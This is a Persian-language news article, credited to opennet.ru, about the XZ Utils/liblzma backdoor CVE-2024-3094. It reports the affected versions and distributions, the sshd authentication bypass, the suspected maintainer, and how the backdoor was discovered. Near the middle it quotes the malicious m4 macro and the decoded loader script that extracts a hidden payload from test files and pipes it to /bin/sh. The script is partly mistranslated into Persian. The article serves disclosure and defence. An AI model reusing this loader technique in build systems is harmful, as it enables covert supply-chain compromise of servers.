در بسته XZ Utils، که شامل کتابخانه liblzma و ابزارهای کاربردی برای کار با داده های فشرده در قالب ".xz" است، یک درب پشتی (CVE-2024-3094) شناسایی شده است که امکان رهگیری و اصلاح داده های پردازش شده توسط برنامه های مرتبط را فراهم می کند. با کتابخانه liblzma. هدف اصلی درپشتی سرور OpenSSH است که در برخی از توزیع ها با کتابخانه libsystemd همراه است که به نوبه خود از liblzma استفاده می کند. پیوند دادن sshd با یک کتابخانه آسیب پذیر به مهاجمان اجازه می دهد تا بدون احراز هویت به سرور SSH دسترسی پیدا کنند.
درب پشتی در نسخه های رسمی 5.6.0 و 5.6.1 وجود داشت که در 24 فوریه و 9 مارس منتشر شد، که توانست به برخی از توزیع ها و مخازن نفوذ کند، به عنوان مثال، Gentoo، Arch Linux، Debian sid/unstable، Fedora Rawhide و 40-بتا، openSUSE کارخانه و tumbleweed، LibreELEC، Alpine edge، Solus، NixOS ناپایدار، OpenIndiana، OpenMandriva نورد، جریان pkgsrc، جریان Slackware، آزمایش Manjaro. به همه کاربران نسخه‌های xz 5.6.0 و 5.6.1 توصیه می‌شود که فوراً به نسخه 5.4.6 برگردند.
از جمله عوامل کاهش دهنده مشکل، می توان به این نکته اشاره کرد که نسخه liblzma با درب پشتی نتوانست بخشی از نسخه های پایدار توزیع های بزرگ شود، اما openSUSE Tumbleweed و Fedora 40-beta را تحت تأثیر قرار داد. Arch Linux و Gentoo از نسخه آسیب‌پذیر zx استفاده می‌کنند، اما در معرض حمله نیستند زیرا پچ systemd-notify را برای openssh اعمال نمی‌کنند، که باعث می‌شود sshd به liblzma مرتبط شود. درب پشتی فقط بر روی سیستم‌های x86_64 مبتنی بر هسته لینوکس و کتابخانه Glibc C تأثیر می‌گذارد.
کد فعال‌سازی درب پشتی در ماکروهای m4 از فایل build-to-host.m4 که توسط جعبه ابزار automake هنگام ساخت استفاده می‌شود، پنهان شد. در هنگام مونتاژ، در حین اجرای عملیات مبهم پیچیده مبتنی بر بایگانی (bad-3-corrupt_lzma2.xz، good-large_compressed.lzma) که برای آزمایش صحت عملکرد استفاده می شود، یک فایل شی با کد مخرب ایجاد شد که در کتابخانه liblzma و منطق عملیات برخی از توابع آن را تغییر داد. ماکروهای m4 که درب پشتی را فعال می‌کنند در تاربال‌های انتشار گنجانده شدند، اما در مخزن Git نبودند. در همان زمان، بایگانی های آزمایشی مخرب در مخزن وجود داشت، یعنی. شخصی که Backdoor را پیاده سازی کرده بود به هر دو مخزن و فرآیندهای تولید نسخه دسترسی داشت.
هنگام استفاده از liblzma در برنامه‌ها، می‌توان از تغییرات مخرب برای رهگیری یا تغییر داده‌ها یا تأثیر بر عملکرد sshd استفاده کرد. به ویژه، کد مخرب تابع RSA_public_decrypt را برای دور زدن فرآیند احراز هویت sshd جعل کرد. درب پشتی شامل محافظت در برابر تشخیص بود و زمانی که متغیرهای محیط LANG و TERM تنظیم شدند (یعنی هنگام اجرای فرآیند در ترمینال) و متغیرهای محیطی LD_DEBUG و LD_PROFILE تنظیم نشدند، خود را نشان نمی داد و همچنین فقط هنگام اجرای برنامه فعال می شد. فایل اجرایی /usr/sbin/sshd. درپشتی همچنین ابزاری برای تشخیص اجرا در محیط های اشکال زدایی داشت.
به طور خاص، فایل m4/build-to-host.m4 از gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / استفاده کرد null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
در ساخت اول، عملیات grep فایل tests/files/bad-3-corrupt_lzma2.xz را پیدا کرد، که پس از بازکردن، اسکریپت ایجاد شد: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 eval `grep ^srcdir= config.status` اگر تست -f ../../config.status;سپس eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F خام —lzma1 -dc|/bin/sh ####World####
چگونگی دسترسی مهاجمان به زیرساخت پروژه xz هنوز به طور کامل مشخص نشده است. همچنین هنوز مشخص نیست که چه تعداد کاربر و پروژه در نتیجه درب پشتی به خطر افتاده است. نویسنده ادعایی درپشتی (JiaT75 - Jia Tan)، که بایگانی‌هایی را با کدهای مخرب در مخزن پست می‌کرد، با توسعه‌دهندگان فدورا مکاتبه کرد و درخواست‌های کششی مربوط به انتقال توزیع‌ها به شعبه xz 5.6.0 را برای دبیان ارسال کرد، و این کار را نکرد. مشکوک را برانگیخت، زیرا او در xz شرکت کرده است، در دو سال گذشته در حال توسعه است و از نظر تعداد تغییرات ایجاد شده دومین توسعه دهنده است. علاوه بر پروژه xz، نویسنده ادعایی Backdoor همچنین در توسعه بسته‌های xz-java و xz-embedded مشارکت داشته است. علاوه بر این، جیا تان چند روز پیش در جمع نگهبانان پروژه XZ Embedded مورد استفاده در هسته لینوکس قرار گرفت.
این تغییر مخرب پس از تجزیه و تحلیل مصرف بیش از حد CPU و خطاهای ایجاد شده توسط valgrind هنگام اتصال از طریق ssh به سیستم‌های مبتنی بر Sid Debian کشف شد. قابل توجه است که نسخه xz 5.6.1 شامل تغییراتی بود که توسط نویسنده ادعا شده درب پشتی در پاسخ به شکایات مربوط به کندی سرعت sshd و خرابی هایی که پس از ارتقا به نسخه zx 5.6.0 با درب پشتی ایجاد شد، تهیه شده بود. علاوه بر این، سال گذشته جیا تان تغییراتی را ایجاد کرد که با حالت بازرسی "-fsanitize=address" ناسازگار بود و باعث غیرفعال شدن آن در طول تست فاز شد.
منبع: opennet.ru